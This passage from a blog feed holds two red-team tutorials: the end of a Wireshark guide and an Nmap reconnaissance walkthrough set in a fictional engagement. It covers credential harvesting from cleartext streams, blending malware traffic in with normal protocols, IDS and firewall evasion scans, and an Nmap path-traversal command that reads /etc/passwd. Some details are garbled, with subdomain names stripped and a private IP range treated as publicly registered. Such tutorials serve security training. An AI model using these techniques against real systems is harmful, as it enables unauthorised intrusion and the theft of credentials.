Filters</strong></p><p>These decide what gets into Wireshark in the first place.</p><ul><li>When: Set before you start the capture.</li><li>Impact: If a packet is filtered out, it is discarded forever. It never touches your hard drive or Wireshark’s memory.</li><li>Syntax: Uses BPF (Berkeley Packet Filter) syntax. It’s shorter but more limited (e.g., tcp port 80).</li><li>Best For: High-traffic networks where you don’t want to crash your computer by trying to record every single packet.</li></ul><p><strong>2. Display Filters</strong></p><p>These decide what you see on your screen from the data you’ve already saved.</p><ul><li>When: Set any time (during or after a capture).</li><li>Impact: They just hide the “noise.” All the original data is still there; if you clear the filter, the “hidden” packets reappear.</li><li>Syntax: Uses Wireshark’s own Boolean syntax. It is much more powerful and specific (e.g., tcp.port == 80).</li><li>Best For: Detailed investigation and “hunting” through a completed capture.</li></ul><p>Red Team Tip: Use a Capture Filter to exclude your own IP address so you don’t accidentally fill up your file with your own “attack” traffic. Then, use Display Filters to search the remaining data for the “loot” you want!</p><h4>2. DISPLAYING FILTERS</h4><p><strong>The Filter Expression Dialog</strong></p><p>To access this dialog, click the Capture Filter button in the Capture Options dialog and then click the Expression button. These fields specify all possible filter criteria. To create a filter, follow these steps:</p><p>1. To view the specific criteria fields associated with a protocol, expand that protocol by clicking the plus (+) symbol next to it. Once you find the criteria you want to base your filter on, select it by clicking it.</p><p>2. Select the relation that the field you have selected will have to the criteria value you supply. This relation is specified in terms of equal to, greater than, less than, and so on.</p><p>3. Create your filter expression by specifying a criteria value that will relate to the field you selected. You can define this value or select it from predefined values programmed into Wireshark.</p><p>4. Once you have done this, click OK to view the completed text-only version of the filter you have just created.</p><h4><strong>FILTER EXPRESSION STYLE</strong></h4><p>The simplest way to filter is by protocol name.</p><ul><li><strong>Show only specific traffic:</strong> Type the protocol name (e.g., tcp, udp, http).</li><li><strong>Hide specific traffic:</strong> Use the “not” symbol (!).</li><li><em>Example:</em> !icmp removes all Ping traffic so you can focus on other data.</li></ul><h4>2. Comparison Operators (The “Math”)</h4><p>These allow you to find packets based on specific values like IP addresses or file sizes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*Q1E-vyRLuFXTN1Vtd65Olg.png" /></figure><h4>3. Logical Operators (The “Connectors”)</h4><p>Use these to combine multiple rules into one powerful statement.</p><ul><li><strong>and</strong>: Both things must be true.</li></ul><p><em>Example:</em> host 192.168.0.1 and port 80 (Traffic for that IP <strong>that is also</strong> web traffic).</p><ul><li><strong>or</strong>: Either one can be true.</li></ul><p><em>Example:</em> ip.addr == 1.1.1.1 or ip.addr == 8.8.8.8 (Traffic from <strong>either</strong> of these two IPs).</p><ul><li><strong>xor</strong>: One must be true, but <strong>not both</strong>. (Rarely used, but good for specific troubleshooting).</li><li><strong>not</strong>: Neither condition is true.</li><li><em>Example:</em> not dns (Hides all DNS traffic).</li></ul><h4>4. Saving Your Filters (Efficiency)</h4><p>Don’t type the same long string every day. Save them:</p><ol><li>Go to <strong>Capture &gt; Capture Filters</strong> (or Display Filter dialog).</li><li>Click <strong>New</strong>.</li><li><strong>Filter Name:</strong> Give it a nickname (e.g., “My Web Traffic”).</li><li><strong>Filter String:</strong> Type the actual command (e.g., tcp.port == 80).</li></ol><h4>Quick-Reference Examples</h4><ul><li><strong>host www.google.com</strong>: Everything to/from Google.</li><li><strong>host www.google.com and not (port 80)</strong>: Shows Google traffic that is <strong>not</strong> standard unencrypted web traffic.</li><li><strong>!dns</strong>: &quot;Show me everything <em>except</em> the DNS clutter.&quot;</li><li>The Command: !(ip.addr == 192.168.1.50) (Show me everything <em>except</em> my own machine).</li></ul><h4>3. Compound Logic (The Power of “&amp;&amp;” and “||”)</h4><ul><li>The Logic: (ip.addr == 10.0.0.5 &amp;&amp; tcp.flags.syn == 1) &amp;&amp; !tcp.port == 443</li><li>Translation: “Show me all connection attempts to the server that <em>aren’t</em> on the standard web port.” This is how you find hidden backdoors.</li></ul><h3>Essential Display Filters summary</h3><p>Display filters don’t delete data, they just hide it from view. These are the most common commands you will use:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*37SrAwR_u6mPAyidrpC9Jg.png" /></figure><h3>2. Physical &amp; Logical Identification</h3><ul><li><strong>eth.addr == [MAC]</strong>: Filters by Hardware (MAC) address. Useful for finding a specific device on a local network regardless of its IP.</li><li><strong>http.request.method == &quot;POST&quot;</strong>: Great for finding login attempts or data uploads.</li><li><strong>tcp.flags.push == 1</strong>: Helps identify where data is actually being handed off to the application.</li></ul><h3>3. The “Right-Click” Shortcuts</h3><p>The book emphasizes that you don’t always need to type filters. Use these UI capabilities:</p><ul><li><strong>Follow TCP Stream:</strong> Right-click a packet &gt; Follow &gt; TCP Stream. This reassembles the fragmented packets into a readable “conversation.”</li><li><strong>Coloring Rules:</strong> Use these to visually distinguish between “Bad TCP” (black/red) and normal traffic.</li><li><strong>Conversation Statistics:</strong> Go to <em>Statistics &gt; Conversations</em>. This shows you who is talking to whom and who is the “top talker” (consuming the most bandwidth).</li></ul><h3>FINDING AND MARKING PACKETS</h3><p>Once you really get into doing packet analysis, you will eventually encounter scenarios involving a very large number of packets. As the number of these packets grows into the thousands and even millions, you will need to be able to navigate through packets more efficiently. This is the reason Wireshark allows you to find and mark packets that match certain criteria.</p><h4>To find packet</h4><ul><li>To find packets that match particular criteria, open the Find Packet dialog by either selecting Edit from the main drop-down menu and then clicking Find Packet or pressing CTRL-F</li><li>Once you’ve made your selections, enter your search string in the text box, and click Find to find the first packet that meets your criteria. To find the next matching packet, press CTRL-N, or find the previous matching packet by pressing CTRL-B.</li></ul><h4>To mark a packet</h4><ul><li>Marking Packets Once you have found the packets that match your criteria, you can mark those of particular interest. Marked packets stand out with a black background and white text. (You can also sort out only marked packets when saving packet captures.) There are several reasons you may want to mark a packet, including being able to save those packets separately, or to be able to find them quickly based upon the coloration.</li><li>To mark a packet, right-click it in the Packet List pane and choose Mark Packet from the pop-up. Or, single click a packet in the Packet List pane and press CTRL-M to mark it. To unmark a packet, toggle this setting off using CTRL-M again. You may mark as many packets as you wish in a capture. You can jump forward and backward between marked packets by pressing SHIFT-CTRL-N and SHIFT-CTRL-B, respectively.</li></ul><h3>ADVANCED WIRESHARK FEATURES</h3><h4>1. Name Resolution: The “Who’s Who” of the Network</h4><p>Imagine walking into a party where everyone is wearing a barcode instead of a name tag. You can’t tell who is who. Name Resolution turns those barcodes (IP addresses like 192.168.1.5) into names (like CEO-LAPTOP).<br>In an engagement, you aren&#39;t looking for &quot;IPs&quot;, you are looking for targets. Enabling Name Resolution allows you to instantly spot high-value assets like Domain Controllers or SQL Databases.</p><ul><li>Pro Tip: Be careful! “External” name resolution (asking the internet for names) can leak your presence to a defender’s firewall. Red Teamers often use MAC name resolution to identify the <em>brand</em> of a device (e.g., seeing “Cisco” or “Apple” based on the hardware address) without sending a single suspicious packet.</li></ul><p><strong>How to Activate:</strong></p><ul><li>Go to View &gt; Name Resolution.</li><li>Check Resolve Network Addresses (for IPs) and Resolve MAC Addresses (for hardware brands).</li><li><em>Note:</em> To avoid “leaking” your presence to the internet, go to Edit &gt; Preferences &gt; Name Resolution and ensure “Use an external network name resolver” is unchecked.</li><li>Where/When to Use: Use this the moment you open a capture. It instantly changes “192.168.1.12” to “HR-PRINTER” or “CEO-MACBOOK,” letting you ignore the printer and focus on the high-value target.</li></ul><h4>2. Protocol Dissection: The “Universal Translator”</h4><p>Data traveling over the internet is just a long string of 1s and 0s. A “dissector” is like a translator that takes that gibberish and turns it into a readable format .Defenders often try to hide traffic by running it on “weird” ports (like putting a spy in a janitor’s uniform). They might run a secret database on Port 80 (usually for websites).</p><ul><li>The “Decode As” Trick: If you see traffic that looks like junk, you can force Wireshark to “Decode As” a different protocol. If you suspect a “secret” chat is actually a Command &amp; Control (C2) channel, forcing a dissector can reveal the hidden commands being sent to a botnet.</li></ul><p><strong>How to Activate:</strong></p><ul><li>Find a suspicious packet in the list.</li><li>Right-click it &gt; Select Decode As…</li><li>In the popup, go to the Current column and select the protocol you think it actually is (e.g., change “DATA” to “HTTP” or “SSL”).</li><li>Where/When to Use: Use this when you find traffic on non-standard ports. If you see a lot of traffic on Port 8080 that Wireshark just calls “TCP,” forcing it to “Decode As” HTTP might reveal a hidden administrative login panel.</li></ul><h4>3. Following TCP Streams: Reading the Whole Transcript</h4><p>Instead of looking at 500 separate text messages, “Following a Stream” lets you read the entire conversation from start to finish in one window.<br>When a user logs into an old internal website (HTTP), Following the TCP Stream reconstructs the login page. You’ll see the username and password fields exactly as they were typed. It’s also vital for <strong>exfiltration</strong>: you can see exactly what file was stolen by looking at the reconstructed stream</p><p><strong>How to Activate:</strong></p><ul><li>Right-click any packet that is part of a conversation.</li><li>Select Follow &gt; TCP Stream.</li><li>A new window pops up showing the conversation in plain text (Red text is what the client sent, Blue is what the server sent).</li><li>Where/When to Use: Use this for Credential Harvesting. If you see an unencrypted login attempt, following the stream is the only way to see the “User: admin / Pass: Password123” string in its original form.</li></ul><h4>4. Protocol Hierarchy</h4><p>This is a pie chart for your network. It shows you what percentage of your data is video, what is web browsing, and what is “other.”As a red teamer,If you want to blend in,If the Protocol Hierarchy shows that 99% of the network is HTTPS, but your hack is using a “Custom Protocol,” you stick out like a sore thumb. Use this window to see what the “normal” traffic looks like so you can make your malware mimic the most common protocol in that specific office.</p><p><strong>How to Activate:</strong></p><ul><li>Go to the top menu: Statistics &gt; Protocol Hierarchy.</li><li>Where/When to Use: Use this for Stealth Validation. Before you launch a big attack, look at this window. If the network is 95% “BitTorrent” or “Netflix,” you can hide your data inside those protocols. If it’s 95% “Office 365,” you should change your attack to look like web traffic so you don’t stand out</li></ul><h4>5. Endpoints — suspect list</h4><p>This is a list of every single device that has “spoken” during the capture. It shows who is the “loudest” person in the room.<br>This is how you find the Admin. Look for an endpoint that is talking to every other computer on the network. That is likely a backup server or an IT admin’s machine. It’s also how you check your own OpSec (Operational Security): if your hacking laptop is the “loudest” endpoint in the list, you’re about to get caught.</p><p><strong>How to Activate:</strong></p><ol><li>Go to Statistics &gt; Endpoints.</li><li>Click the IPv4 or IPv6 tabs to see the list of devices.</li></ol><ul><li>Where/When to Use: Use this for Target Discovery. Sort the list by “Bytes.” The devices at the top are the busiest. In a red team scenario, the “busiest” internal device is often a File Server or a Database — exactly where the sensitive data lives.</li></ul><h4>6. Conversations: Mapping the Relationship</h4><p>If “Endpoints” is a list of people, “Conversations” is a list of who is talking to whom.<br>In a hack, you often perform Lateral Movement (jumping from one computer to the next). Defenders look for “unusual pairings” — like a receptionist’s computer talking directly to the HR server at 3:00 AM. Use the Conversations window to ensure your traffic looks like a normal business interaction rather than a heist.</p><p><strong>How to Activate:</strong></p><ol><li>Go to Statistics &gt; Conversations.</li><li>Click the TCP tab to see who is talking to whom.</li></ol><ul><li>Where/When to Use: Use this for Lateral Movement Tracking. If you have compromised one computer (Computer A), use this tool to see which other computers (Computer B, C, and D) it normally talks to. You can then “jump” to those computers because they already “trust” the one you control.</li></ul><h3>UNDERSTANDING THE FLOW OF TRAFFIC</h3><p><strong>A single packet is just a word; the “Flow” is the story.</strong></p><p>If you only look at one packet, you’re looking at a freeze-frame. If you look at the Flow, you’re watching the movie. being able to read this “story” tells you if your exploit worked, if you’re being blocked, or if you’re walking into a trap.</p><h4>1. The Foundation: The TCP 3-Way Handshake</h4><p>Before any data (like a password or a web page) is sent, TCP must establish a “contract” between two computers. This is the SYN, SYN-ACK, ACK sequence.</p><p>Imagine two people trying to start a phone call:</p><ol><li>SYN (Synchronize): Person A says, “Hey, can you hear me? I want to talk.”</li><li>SYN-ACK (Synchronize-Acknowledge): Person B says, “Yes, I hear you! Can you hear me too?”</li><li>ACK (Acknowledge): Person A says, “Gotcha! Loud and clear. Let’s talk.”<br><em>If any of these steps fail, the call never happens.</em></li></ol><p>In Wireshark, you aren’t just looking for these flags; you are looking for the Sequence (Seq) and Acknowledgment (Ack) numbers.</p><ul><li>The Math: If Person A sends a SYN with Seq=0, Person B <em>must</em> reply with a SYN-ACK where Ack=1.</li><li>Utility: If you see a SYN followed by a RST (Reset), the port is closed. If you see a SYN followed by nothing, a firewall is “dropping” your packet into a black hole.</li></ul><h4>2. Analyzing the “Service Flow” (The Conversation)</h4><p>Once the handshake is done, data starts moving. Sanders emphasizes that you must follow the Flow to see the “Service” in action.</p><p>It’s like following a conversation in a crowded room. You ignore everyone else and only listen to the two people talking. In Wireshark, this is called “Following the Stream.”</p><p><strong>TCP Retransmissions (The “Stutter”):</strong></p><ul><li>The Anomaly: You see the same packet sent multiple times.</li><li>Red Team Logic: The network is congested, or — more interestingly — an IPS (Intrusion Prevention System) is dropping your exploit packets mid-stream. If your “Handshake” was successful but your “Data” packets are being retransmitted, the firewall is letting you in the door but killing your “luggage.”</li></ul><p><strong>The “Zero Window” (The “I’m Full” Signal):</strong></p><ul><li>The Anomaly: The target sends a packet saying Win=0.</li><li>Red Team Logic: The target’s memory buffer is full. As a Red Teamer, this is a sign that the target is under heavy load or that your previous exploit attempt caused a memory leak/crash.</li></ul><h4>3. Identifying “Evil” in the Flow</h4><p>When you look at the flow, “Evil” usually looks like a “broken” conversation.</p><p><strong>The “Out-of-Order” Attack:</strong></p><ul><li>The Flow: You see packets arriving in the wrong order (e.g., Data, then Handshake, then more Data).</li><li>Red Team Logic: You are likely using Fragmentation or Overlapping TCP Segments to confuse a firewall. You’re trying to make the firewall “see” something different than what the target server “sees.”</li></ul><p><strong>The “Half-Open” Ghost:</strong></p><ul><li>The Flow: A massive wave of SYN packets with no ACKs.</li><li>Red Team Logic: This is a SYN Flood (DoS) or a stealth Nmap SYN Scan. By never sending the final “ACK,” the attacker ensures the connection is never fully “logged” by the application, staying in the “shadows” of the kernel.</li></ul><h4>4. Summary Table: The Story of a Connection</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*FQXQslq6JLB6gujYvg4wdw.png" /></figure><p>“Don’t get distracted by individual packets. Use the ‘Follow TCP Stream’ feature. It strips away all the technical ‘envelope’ information and shows you the raw data. If you see ‘Password=’ followed by ‘Admin123’, the ‘Flow’ has just handed you the keys to the kingdom.”</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=014fa1f36d2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NMAPing]]></title>
            <link>https://medium.com/@mug1sh4/nmaping-dd9a22157a32?source=rss-9cedfec9ebc7------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd9a22157a32</guid>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[nmap-scan]]></category>
            <category><![CDATA[nmap-command]]></category>
            <dc:creator><![CDATA[mug1sh4]]></dc:creator>
            <pubDate>Fri, 24 Apr 2026 11:52:55 GMT</pubDate>
            <atom:updated>2026-04-24T11:52:55.705Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*O07kZvGh8WpaPoNN1cXoiA.png" /></figure><p>This blog post explores <strong>Nmap (Network Mapper)</strong>, the undisputed king of network reconnaissance. For any security professional, Nmap is the first tool out of the bag. It allows you to transform a silent IP address into a detailed profile of a live target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qO5W1ZYPY2i97SWcBSz_9g.png" /></figure><p>Imagine you’ve just been hired to test the defenses of <strong>MegaCorp</strong>, a global tech giant. You’re sitting in a coffee shop across the street, connected to your mobile hotspot.</p><h4>First you have to obtain their IP adderss through external reconnaisance :</h4><p><strong>1. The “WHOIS” Inquiry</strong></p><p>Every IP address on the internet is owned by someone. We check the global records (ARIN in the US, RIPE in Europe,AFRINIC — Africa) to see what “blocks” of numbers MegaCorp has bought.</p><ul><li>The Move: You search for “MegaCorp” on <a href="https://www.arin.net/">ARIN.net</a>.</li><li>The Discovery: You find a record showing they own 192.168.50.0 through 192.168.50.255. That is your Scope.</li></ul><p><strong>2. The “DNS Brute Force” (Guessing the Subdomains)</strong></p><p>Most companies don’t just have megacorp.com. They have hundreds of subdomains like ://megacorp.com, ://megacorp.com, or ://megacorp.com.</p><ul><li>The Move: You use a tool like Subfinder or Amass. These tools search the internet for every name attached to “megacorp.com.”</li><li>The Discovery: You find ://megacorp.com. You &quot;ping&quot; it once, and it gives you its IP address. Now you have a starting point.</li></ul><p><strong>3. The “BGP” Route (Following the Traffic)</strong></p><p>Big companies act like their own mini-internets. They use BGP (Border Gateway Protocol) to tell the rest of the world how to send them mail and web traffic.</p><ul><li>The Move: You use a tool like BGPView.</li><li>The Discovery: You see that MegaCorp “advertises” a specific set of routes. This reveals their massive data centers and cloud offices.</li></ul><p>You have their IP range (192.168.50.0/24), but you have no idea what’s actually inside that network. If you start throwing heavy scans now, their Security Operations Center (SOC) will see you immediately. You need to be a ghost. You need Step 1: The List Scan.</p><blockquote><strong>But even before all this its a good practise to log all scans so create a directory of the target and go to teh directroy and in all commands add teh -oA in all of them so as to make a file of the scan i.e</strong></blockquote><pre>mkdir MegaCorp_Scan<br>cd MegaCorp_Scan<br>nmap -oA target_results 10.10.50.10<br>- To use teh -oA e.g <br>nmap ( other commands ) -oA name_of_oA_log_file</pre><h3>1: OSINT/PASSIVE</h3><p>In this phase, your goal is to “see” the target without “touching” it. Think of this like a burglar looking at a house from the sidewalk. You aren’t checking doors yet, you’re just reading the names on the mailboxes.</p><p><strong>Scenario A: Reading the Mailboxes</strong></p><p>Your first command is the simplest. You want to see if any of these 254 IP addresses have names that sound “juicy.”</p><blockquote><em>Command: </em><em>nmap -sL 192.168.50.0/24</em></blockquote><ul><li>Nmap reaches out to the public DNS servers. It doesn’t send a single packet to MegaCorp. Suddenly, your screen fills up. You see ://megacorp.com, ://megacorp.com, and—jackpot—backup-nas-01.internal.</li><li>You now know exactly which IPs are worth your time and which are just printers or guest Wi-Fi.</li></ul><p><strong>Scenario B: Asking the “Internal” Secretary</strong></p><p>You found the address of their internal DNS server (192.168.50.2) from an earlier leak( thru passive osint in github dorks) Public DNS might hide things, but the internal server knows everything.</p><blockquote><em>Command: </em><em>nmap -sL --dns-servers 192.168.50.2 192.168.50.0/24</em></blockquote><ul><li>The Story: You’re now asking MegaCorp’s own “directory assistant” for names. Because this is a DNS request (which happens millions of times a day), it looks totally normal. You discover dev-testing-db.internal. A developer left a database open for testing. That’s your way in.</li></ul><p><strong>Scenario C: Organizing the Hit-List</strong></p><p>You have the names, but you need to keep them organized for the long night ahead. You want a list you can search through later.</p><blockquote><em>Command: </em><em>nmap -sL 192.168.50.0/24 -oG mega_scope.gnmap</em></blockquote><ul><li>The Story: You save everything into a “Grepable” file. Later, when you’re looking for every server with “admin” in the name, you just type a quick command and Nmap hands you the list. You’re building your Battle Map.</li></ul><h3>2: Host Discovery (Is Anyone Home?)</h3><ul><li>Note to reader: <em>“Before you sweep the whole range, use </em><em>-n to keep the DNS quiet and </em><em>--exclude so you don&#39;t waste time scanning your own attack machine.&quot;</em></li></ul><p>Now that you have your list of 254 potential IPs from Step 1, you need to know which ones are actually powered on. Scanning “dead” IPs is a waste of time and makes too much noise.</p><p>The Story Continues…</p><p>You have your map of MegaCorp’s IPs. It’s 2:00 AM — the best time for a “Ping Sweep.” You want to “tap on the glass” of every window in the building to see where the lights come on.</p><p><strong>Scenario A: The “Gentle Tap” (The Ping Sweep)</strong></p><blockquote><em>Command: </em><em>nmap -sn 192.168.50.0/24 --exclude</em></blockquote><ul><li>The Story: The -sn flag tells Nmap: &quot;Don&#39;t scan ports. Just tell me who is awake.&quot; Nmap sends an ICMP Echo (a Ping) and a few common TCP packets.</li><li>The Result: Out of 254 IPs, only 12 respond. You just saved yourself hours of work by ignoring the 242 empty addresses.</li></ul><p><strong>Scenario B: Bypassing the “Silent” Security</strong></p><p>Some servers are “shy.” They are programmed to ignore Pings (ICMP). If you only used Scenario A, you’d miss them. You need to try different “probes.”</p><blockquote><em>Command: </em><em>nmap -sn -PS80,443,3389 192.168.50.0/24 --exclude</em></blockquote><ul><li>The Story: You send a TCP SYN packet to ports 80 (Web), 443 (Secure Web), and 3389 (Remote Desktop). Even if the server hides from Pings, it has to respond to these common service requests.</li><li>The Result: Suddenly, 3 more servers appear. These were the “hidden” ones the IT team thought were invisible.</li></ul><p><strong>Scenario C: Staying Silent with “No DNS”</strong></p><blockquote><em>Command: </em><em>nmap -sn -n 192.168.50.0/24 --exclude</em></blockquote><ul><li>The Story: You add -n. You tell Nmap: &quot;Don&#39;t ask the DNS server for names; I already have them. Just check if the IPs are alive.&quot;</li><li>The Logic: Asking for names creates logs on the company’s DNS server. By skipping this, you stay off the “Top 10 Most Active Users” list in their security dashboard.</li></ul><h3>3: Port Scanning (Testing the Doorknobs)</h3><p>The story continues. You now have 15 live targets. You know they are “home,” but you don’t know what they are doing. Are they web servers? Database servers? Or just a printer?</p><p>You need to check the “ports” (the doors). But be careful — the louder you knock, the faster the SOC will wake up.</p><p><strong>Scenario A: The “Stealthy Peek” (The SYN Scan)</strong></p><blockquote><em>Command: </em><em>nmap -sS -p 80,443,22,3389 192.168.50.10</em></blockquote><ul><li>The Story: The -sS (SYN Scan) is the Red Teamer’s favorite. It’s &quot;half-open.&quot; You send a request to start a connection, the server says &quot;Okay!&quot;, and you immediately hang up.</li><li>Why: Because the connection is never “completed,” it often isn’t logged by the application. You found out the door is open without ever stepping inside.</li></ul><p><strong>Scenario B: The “Quiet Shadow” (Timing Templates)</strong></p><blockquote><em>Command: </em><em>nmap -sS -T2 192.168.50.10</em></blockquote><ul><li>The Story: Most people use -T4 (Aggressive), which is like kicking every door in the hallway. You use -T2 (Polite).</li><li>Why This slows down the scan. Instead of hitting 100 ports in a second, it hits one every few seconds. It’s designed to slip past Intrusion Detection Systems (IDS) that look for “bursts” of traffic.</li></ul><p><strong>Scenario C: Checking Every Entrance</strong></p><blockquote><em>Command: </em><em>nmap -sS -p- --min-rate 1000 192.168.50.10</em></blockquote><ul><li>The Story: Sometimes you have to be thorough. The -p- flag checks all 65,535 possible ports.</li><li>The Risk: This is loud. You only do this on high-value targets where you suspect a “secret” service is running on a weird port (like a backdoor on port 1337).</li></ul><p><strong>ALTERNATIVELY</strong></p><p><strong>1. The “Top Ports” Strategy (Smart Recon)</strong></p><p>Most admins aren’t creative. They hide things on common “alternative” ports rather than random numbers. Instead of scanning everything, you scan the Top 1,000 or Top 2,000 most common ports.</p><ul><li>The Command: nmap -sS --top-ports 1000 -T2 192.168.50.10</li><li>The Story: Instead of kicking 65,000 doors, you only check the 1,000 doors that are most likely to be used. This covers 90% of all services but is 65 times quieter and faster.</li></ul><p><strong>2. The “Decoy” Strategy (Hiding in the Crowd)</strong></p><p>If you <em>must</em> scan all ports, you don’t do it alone. You bring “friends” (fake ones).</p><ul><li>The Command: nmap -sS -p- -D RND:10 192.168.50.10</li><li>The Story: The -D RND:10 flag tells Nmap to send your scan along with 10 random, fake IP addresses.</li><li>The Result: When the Blue Team looks at their logs, they don’t see <em>one</em> person scanning 65,000 ports. They see 11 different people doing it at the same time. They won’t know which one is the real “you” and which ones are just “noise.”</li></ul><h3>4: Service &amp; OS Identification (Checking the Locks)</h3><p>Now that you know which doors are open (e.g., Port 80 and Port 22), you need to know exactly what kind of “locks” are on them.</p><p>Knowing a door is “Port 80” just tells you it’s a web server. Knowing it’s “Apache v2.4.49” tells you it has a famous vulnerability you can exploit to get inside.</p><p>Note to reader: <em>“Be careful with </em><em>-sV. If you&#39;re scanning an old server, use </em><em>--version-light first. You don&#39;t want to be the guy who accidentally crashes the client&#39;s database in the middle of a work day.&quot;</em></p><p><strong>Scenario A: Banner Grabbing (The “Quick Peek”)</strong></p><blockquote><em>Command: </em><em>nmap -sV --version-intensity 0 192.168.50.10</em></blockquote><ul><li>The Story: You gently “poke” the service to see if it introduces itself. You’re looking for the “Banner” — the text a service sends when you first connect.</li><li>The Result: Port 22 responds with: OpenSSH 7.2p1 Ubuntu. You now know the exact version of the software and the operating system (Ubuntu Linux).</li></ul><p><strong>Scenario B: Deep Inspection (The “Fingerprint”)</strong></p><blockquote><em>Command: </em><em>nmap -sV -O --osscan-guess 192.168.50.10</em></blockquote><ul><li>The Story: You want to be 100% sure. The -O flag tells Nmap to look at how the server handles network traffic. Every OS (Windows, Linux, macOS) handles packets slightly differently.</li><li>The Result: Nmap tells you: <em>“I am 98% sure this is a Linux Kernel 4.x server.”</em> This is crucial because a Windows exploit will never work on a Linux box — using the wrong one would just alert the defenders.</li></ul><p><strong>Scenario C: The “Loud but Accurate” Scan</strong></p><blockquote><em>Command: </em><em>nmap -sV --version-all 192.168.50.10</em></blockquote><ul><li>The Story: Some services are “stealthy” and don’t give up their version easily. --version-all (Intensity 9) sends dozens of different probes to force the service to reveal its true identity.</li><li>Red Team Warning: This is loud. Only do this once you have narrowed your target list down to the 1 or 2 most important servers.</li></ul><h3>5: Vulnerability Scripting</h3><p>The story reaches its peak. You’ve mapped the building, found the open doors, and identified the exact models of the locks (Apache 2.4.49 and OpenSSH 7.2p1).</p><p>Now, you stop being a surveyor and start being a locksmith. You need to know: <em>Is there a known flaw (CVE) I can use to walk right in?</em> For this, we use the NSE (Nmap Scripting Engine).</p><ul><li>Note to reader: <em>“If your scripts are getting blocked, try </em><em>-f to break your packets into pieces or </em><em>-D RND:5 to hide your scan in a crowd of decoys.&quot;</em></li></ul><p><strong>Scenario A: The “Safe” Probe (Checking the Vulnerability Database)</strong></p><p>You want to see if these services have any famous “cracks” without actually trying to break them yet.</p><blockquote><em>Command: </em><em>nmap --script vuln 192.168.50.10</em></blockquote><ul><li>The Story: You pull out your “Book of Flaws.” The --script vuln command checks the target against a database of known vulnerabilities.</li><li>The Discovery: Your screen flashes red. Nmap finds that Apache 2.4.49 is vulnerable to CVE-2021–41773 (a Path Traversal flaw). JACKPOT</li></ul><p><strong>Scenario B: The “Default” Check (Hunting for Forgotten Keys)</strong></p><p>Sometimes, the lock isn’t broken — it’s just that the owner never changed the factory key.</p><blockquote><em>Command: </em><em>nmap --script default,auth 192.168.50.10</em></blockquote><ul><li>The Story: You check for the basics. Does the admin use admin/admin? Is there an &quot;Anonymous&quot; login allowed on the file share?</li><li>The Discovery: You find that the SSH service on Port 22 allows “Password Authentication” and has a common username active. You’re one brute-force away from a shell.</li></ul><p><strong>Scenario C: The “Targeted Strike” (Using a Specific Script)</strong></p><p>You suspect a specific vulnerability but don’t want to run 500 different tests and get caught. You pick the exact “bump key” for the lock.</p><blockquote><em>Command: </em><em>nmap --script http-path-traversal --script-args &#39;http-path-traversal.path=/etc/passwd&#39; 192.168.50.10</em></blockquote><ul><li>The Story: You run a single, targeted script to see if you can read the server’s secret files.</li><li>The Result: The server responds with the contents of the /etc/passwd file. Confirmed. The door isn&#39;t just unlocked; it’s wide open.</li></ul><h3>6: Reporting (The Paper Trail)</h3><p>The mission is a success. You found the way in. But as a Red Teamer, you aren’t a criminal — you’re a professional. If you don’t document your steps, you haven’t done your job.</p><p><strong>Scenario A: The “Evidence Bag” (Output All)</strong></p><blockquote><em>Command: </em><em>nmap -oA MegaCorp_Final_Scan 192.168.50.10</em></blockquote><ul><li>The Story: The -oA (Output All) flag saves your results in three formats: Normal (for reading), XML (for your tools), and Grepable (for quick searching).</li><li>Why : If the client asks, <em>“Did you scan us at 3 AM?”</em>, you have the logs to prove exactly what you did and that you didn’t crash their systems.</li></ul><p><strong>Scenario B: Feeding the Beast (XML for Metasploit)</strong></p><ul><li>The Story: You take that .xml file you just saved and import it into Metasploit (db_import).</li><li>The Result: Now, all the “Vulnerability” data you found in Nmap is automatically loaded into your exploitation framework. You are ready to launch the “exploit” with one click.</li></ul><h4>Finale</h4><p>You started with nothing but a company name. Through OSINT, Discovery, Stealthy Scanning, and Scripting, you found the one weak point in a multi-million dollar network.</p><p>Summary of the Journey:</p><ol><li>OSINT: Mapped the names.</li><li>Discovery: Found the survivors.</li><li>Port Scan: Found the doors.</li><li>Service ID: Identified the locks.</li><li>Vuln Scan: Found the flaw.</li><li>Reporting: Proved the value.</li></ol><h4>ADDITIONAL COMMANDS</h4><p><strong>1. The “Ghost” Scan (Idle Scan / Zombie Scan)</strong></p><p>This is the ultimate stealth move. You use a third, innocent computer on the internet (the “Zombie”) to scan your target for you.</p><ul><li>The Command: nmap -sI &lt;Zombie_IP&gt; &lt;Target_IP&gt;</li><li>The Story: If the Blue Team looks at their logs, they don’t see your IP. They see the Zombie’s IP. You are 100% invisible because your computer never sends a single packet to the target.</li></ul><p><strong>2. Bypassing Firewalls (MTU and Fragmentation)</strong></p><p>Sometimes a firewall is “smart” and recognizes Nmap packets. Red Teamers “break” their packets into tiny pieces to confuse the firewall.</p><ul><li>The Command: nmap -f --mtu 16 &lt;Target_IP&gt;</li><li>The Logic: You’re splitting the “knock” into tiny whispers. The firewall can’t recognize the full pattern, so it lets the pieces through. [1.2]</li></ul><p><strong>3. Evading MAC Filtering (MAC Spoofing)</strong></p><p>On a local network (like the ARP blog we wrote), some systems only talk to “trusted” hardware (like a specific brand of printer).</p><ul><li>The Command: nmap --spoof-mac Apple &lt;Target_IP&gt;</li><li>The Story: You tell the network: “Don’t mind me, I’m just an iPad.” This helps you bypass Port Security on network switches.</li></ul><p><strong>4. Firewall Rule Mapping (ACK Scan)</strong></p><p>Sometimes you don’t care if a port is “open” — you just want to know how the firewall is configured.</p><ul><li>The Command: nmap -sA &lt;Target_IP&gt;</li><li>The Purpose: This doesn’t find open ports. It finds Filtered vs. Unfiltered ports. It tells you exactly where the “holes” in the firewall’s armor are.</li></ul><h3>ADDITIONAL NOTES ON NMAP</h3><h3>Modern Host Discovery (The Art of the “Ping”)</h3><p>As a Red Teamer, your first goal is to map the attack surface without being “burned” by an Intrusion Detection System (IDS). Standard ICMP pings are almost always blocked, so we must use more surgical methods to find our targets.</p><p>Note to reader: <em>“Before you sweep the whole range, use 